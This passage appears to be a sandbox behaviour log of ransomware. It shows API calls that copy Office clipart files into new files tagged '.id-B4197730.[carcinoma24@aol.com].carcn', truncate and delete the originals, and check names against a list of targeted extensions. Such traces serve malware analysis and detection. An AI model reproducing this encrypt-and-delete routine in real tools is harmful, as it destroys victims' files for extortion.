Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.659] lstrlenW (lpString=".doc") returned 4 [0263.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".docx") returned 5 [0263.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.660] lstrlenW (lpString=".pdf") returned 4 [0263.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".xls") returned 4 [0263.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.660] lstrlenW (lpString=".xlsx") returned 5 [0263.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.660] lstrlenW (lpString=".ppt") returned 4 [0263.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.660] lstrlenW (lpString=".zip") returned 4 [0263.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.660] lstrlenW (lpString=".rar") returned 4 [0263.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".bz2") returned 4 [0263.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString=".7z") returned 3 [0263.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.660] lstrlenW (lpString=".dbf") returned 4 [0263.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.660] lstrlenW (lpString=".1cd") returned 4 [0263.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.660] lstrlenW (lpString=".jpg") returned 4 [0263.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.661] lstrlenW (lpString=".doc") returned 4 [0263.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString=".docx") returned 5 [0263.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.661] lstrlenW (lpString=".pdf") returned 4 [0263.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString=".xls") returned 4 [0263.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.661] lstrlenW (lpString=".xlsx") returned 5 [0263.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.661] lstrlenW (lpString=".ppt") returned 4 [0263.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.661] lstrlenW (lpString=".zip") returned 4 [0263.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.661] lstrlenW (lpString=".rar") returned 4 [0263.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString=".bz2") returned 4 [0263.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.661] lstrlenW (lpString=".7z") returned 3 [0263.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.662] lstrlenW (lpString=".dbf") returned 4 [0263.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.663] lstrlenW (lpString=".1cd") returned 4 [0263.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0263.664] lstrlenW (lpString=".jpg") returned 4 [0263.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.664] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.664] lstrlenW (lpString="BD06102_.WMF") returned 12 [0263.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.665] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16112) returned 1 [0263.665] CloseHandle (hObject=0x528) returned 1 [0263.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0263.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.666] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.666] GetLastError () returned 0x0 [0263.666] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0263.804] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3f00, lpOverlapped=0x0) returned 1 [0263.832] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.833] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.833] SetEndOfFile (hFile=0x548) returned 1 [0263.843] CloseHandle (hObject=0x548) returned 1 [0263.844] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.844] SetEndOfFile (hFile=0x528) returned 1 [0263.847] CloseHandle (hObject=0x528) returned 1 [0263.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0263.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.848] lstrlenW (lpString=".doc") returned 4 [0263.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.848] lstrlenW (lpString=".docx") returned 5 [0263.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.849] lstrlenW (lpString=".pdf") returned 4 [0263.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString=".xls") returned 4 [0263.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.849] lstrlenW (lpString=".xlsx") returned 5 [0263.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.849] lstrlenW (lpString=".ppt") returned 4 [0263.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.849] lstrlenW (lpString=".zip") returned 4 [0263.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.849] lstrlenW (lpString=".rar") returned 4 [0263.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString=".bz2") returned 4 [0263.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString=".7z") returned 3 [0263.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.849] lstrlenW (lpString=".dbf") returned 4 [0263.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.849] lstrlenW (lpString=".1cd") returned 4 [0263.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.849] lstrlenW (lpString=".jpg") returned 4 [0263.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.850] lstrlenW (lpString=".doc") returned 4 [0263.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString=".docx") returned 5 [0263.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.850] lstrlenW (lpString=".pdf") returned 4 [0263.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString=".xls") returned 4 [0263.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.850] lstrlenW (lpString=".xlsx") returned 5 [0263.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.850] lstrlenW (lpString=".ppt") returned 4 [0263.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.850] lstrlenW (lpString=".zip") returned 4 [0263.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.850] lstrlenW (lpString=".rar") returned 4 [0263.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString=".bz2") returned 4 [0263.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString=".7z") returned 3 [0263.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.850] lstrlenW (lpString=".dbf") returned 4 [0263.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.851] lstrlenW (lpString=".1cd") returned 4 [0263.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0263.851] lstrlenW (lpString=".jpg") returned 4 [0263.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.851] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.851] lstrlenW (lpString="BD07761_.WMF") returned 12 [0263.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.852] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26748) returned 1 [0263.852] CloseHandle (hObject=0x528) returned 1 [0263.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0263.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.853] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.853] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.854] GetLastError () returned 0x0 [0263.854] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x687c, lpOverlapped=0x0) returned 1 [0263.952] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6880, lpOverlapped=0x0) returned 1 [0263.953] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.953] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.953] SetEndOfFile (hFile=0x548) returned 1 [0263.953] CloseHandle (hObject=0x548) returned 1 [0263.956] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.956] SetEndOfFile (hFile=0x528) returned 1 [0263.960] CloseHandle (hObject=0x528) returned 1 [0263.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.961] lstrlenW (lpString=".doc") returned 4 [0263.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString=".docx") returned 5 [0263.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.961] lstrlenW (lpString=".pdf") returned 4 [0263.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString=".xls") returned 4 [0263.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.961] lstrlenW (lpString=".xlsx") returned 5 [0263.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.961] lstrlenW (lpString=".ppt") returned 4 [0263.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.961] lstrlenW (lpString=".zip") returned 4 [0263.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.961] lstrlenW (lpString=".rar") returned 4 [0263.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString=".bz2") returned 4 [0263.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString=".7z") returned 3 [0263.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.961] lstrlenW (lpString=".dbf") returned 4 [0263.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.961] lstrlenW (lpString=".1cd") returned 4 [0263.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.962] lstrlenW (lpString=".jpg") returned 4 [0263.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.962] lstrlenW (lpString=".doc") returned 4 [0263.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString=".docx") returned 5 [0263.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.962] lstrlenW (lpString=".pdf") returned 4 [0263.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString=".xls") returned 4 [0263.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.962] lstrlenW (lpString=".xlsx") returned 5 [0263.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.962] lstrlenW (lpString=".ppt") returned 4 [0263.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.962] lstrlenW (lpString=".zip") returned 4 [0263.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.962] lstrlenW (lpString=".rar") returned 4 [0263.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString=".bz2") returned 4 [0263.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.962] lstrlenW (lpString=".7z") returned 3 [0263.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.962] lstrlenW (lpString=".dbf") returned 4 [0263.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.963] lstrlenW (lpString=".1cd") returned 4 [0263.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0263.963] lstrlenW (lpString=".jpg") returned 4 [0263.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.963] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.963] lstrlenW (lpString="BD08758_.WMF") returned 12 [0263.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.963] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=24320) returned 1 [0263.964] CloseHandle (hObject=0x528) returned 1 [0263.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0263.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.965] GetLastError () returned 0x0 [0263.965] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x5f00, lpOverlapped=0x0) returned 1 [0264.060] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5f10, lpOverlapped=0x0) returned 1 [0264.062] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.062] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0264.062] SetEndOfFile (hFile=0x548) returned 1 [0264.062] CloseHandle (hObject=0x548) returned 1 [0264.063] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.063] SetEndOfFile (hFile=0x528) returned 1 [0264.137] CloseHandle (hObject=0x528) returned 1 [0264.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft 